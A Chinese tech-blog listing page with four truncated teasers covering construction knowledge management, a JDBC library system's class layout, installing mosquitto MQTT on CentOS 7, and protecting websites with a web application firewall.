在建筑行业&#xff0c;知识管理对于提升项目效率、降低成本、增强创新能力以及构建竞争优势具有至关重要的作用。搭建一个高效、系统的建筑行业知识库&#xff0c;不仅有助于实现知识的有效沉淀与便捷共享&#xff0c;还能促进知识在项目实践中的灵活应用&#xff0c;从而加速…

图书管理系统(JDBC)

AdminUser是管理员类 NormalUser是用户类 AddOperation是增加图书类 BorrowOperation是借书类 DelOperation是删除图书类 ExitOperation是退出类 FindOperation是查找图书类 IOPeration是接口 ReturnOperation是还书类 ShowOperation是显示所有图书类 注意&#xff1a…

liunx CentOs7安装MQTT服务器(mosquitto)

查找 mosquitto 软件包 yum list all | grep mosquitto出现以上两个即可进行安装&#xff0c;如果没有出现则需要安装EPEL软件库。 yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm查看 mosquitto 信息 yum info mosquitto安装 mosquitt…

如何保护网站安全

1. 使用 Web 应用防火墙&#xff08;WAF&#xff09; 功能&#xff1a;WAF 可以实时检测和阻止 SQL 注入、跨站脚本&#xff08;XSS&#xff09;、文件包含等常见攻击。它通过分析 HTTP 流量来过滤恶意请求。 推荐&#xff1a;可以使用像 雷池社区版这样的 WAF&#xff0c;它提…